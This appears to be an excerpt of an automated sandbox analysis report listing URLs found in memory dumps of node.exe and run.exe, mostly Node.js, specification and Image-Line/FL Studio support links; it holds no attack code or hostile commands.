Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/mafintosh/pump
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/issues/2876.
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/ec2822adaad76b126b5cccdeaa1addf2376c9aa6
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/10673
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2006
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/3392
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12607
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/21313
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/26334.
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30380#issuecomment-552948364
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30958
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/3394
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34375
Source: node.exe, 0000000F.00000003.2238679421.0000000037EC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2232924754.00000000061C0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000003.2236055808.0000000004395000.00000004.00000020.00020000.00000000.sdmp, node.exe, 00000017.00000002.2260929722.000000000E9C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/got)
Source: node.exe, 0000000F.00000002.2925133957.000000001BA00000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2260929722.000000000E9C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/got)9
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/standard-things/esm/issues/821.
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/tc39/ecma262/issues/1209
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/tc39/proposal-ses/blob/e5271cc42a257a05dcae2fd94713ed2f46c08620/shim/src/freeze.j
Source: node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2922785102.0000000004240000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2263968941.000000002C540000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://github.com/v8/v8/blob/d6ead37d265d7215cf9c5f768f279e21bd170212/src/js/prologue.js#L152-L156
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://goo.gl/t5IS6M).
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#define-the-operations
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-class-string
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-interfaces
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-namespaces
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-operations
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#ascii-serialisation-of-an-origin
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/webappapis.html#windoworworkerglobalscope
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://no-color.org/
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html
Source: node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/
Source: node.exe, 00000017.00000002.2261157825.0000000021DE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/t
Source: node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12-headers.tar.gz
Source: node.exe, 0000000F.00000002.2925861243.000000003AA40000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2265085240.0000000033440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12-headers.tar.gze
Source: node.exe, 00000017.00000002.2265085240.0000000033440000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2261157825.0000000021DE2000.00000004.00001000.00020000.00000000.sdmp, node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gz
Source: node.exe, 00000017.00000002.2261157825.0000000021DE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzd
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzhttps://nodejs.org/download/relea
Source: node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzh~
Source: node.exe, 0000000F.00000002.2921222937.0000000001F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzk
Source: node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/win-x86/node.lib
Source: node.exe, 0000000F.00000002.2921222937.0000000001F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/win-x86/node.lib)
Source: node.exe, 0000000F.00000003.2238553183.0000000032CA2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/win-x86/node.libLy
Source: node.exe, 00000017.00000002.2265085240.0000000033440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/win-x86/node.libUP
Source: node.exe, 00000017.00000002.2243108049.0000000002114000.00000004.00000020.00020000.00000000.sdmp, node.exe, 00000017.00000003.2240105506.000000000210F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v12.22.12/win-x86/node.libfr
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/en/docs/inspector
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/en/docs/inspectorFor
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/static/images/favicons/favicon.ico
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://nodejs.org/static/images/favicons/favicon.icodevtoolsFrontendUrldevtoolsFrontendUrlCompatweb
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://sourcemaps.info/spec.html
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://stackoverflow.com/a/5501711/3561
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://streamer.image-line.com
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://streamer.image-line.com/stream/download?
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/action/knowledgebase/?ans=655
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/action/license/serial?serial=%s
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/action/redirect/FLStudioAuthentication?username=%s&password=%s&flags=
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/api.php?call=product_description_inapp&callback=il_product_descriptio
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/jshop/
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/jshop/?ord=%s
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/member/regcode.php?inapp=1UH
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/member/regfile_unlock.php?username=%s&password=%s&checksum=%s&flags=%
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/FLStudio%sHelp
Source: run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/FLStudio_TrialExit%d
Source: run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/NewVersionNewsImage?image=/newversion.jpg
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/contentlib
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/downloadnewsrss
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/downloadversionsxml
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.image-line.com/redirect/me
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-%typedarray%.of
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-object.prototype.tostring
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2397#section-2
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3986#section-3.2.2
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.2
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7230#section-3.2.6
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7540#section-8.1.2.5
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#cannot-have-a-username-password-port
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url-origin
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#url
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#the-integrity-attribute
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-line-terminators
Source: node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2922785102.0000000004240000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2263968941.000000002C540000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-promise.all
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/#sec-timeclip
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Alternative
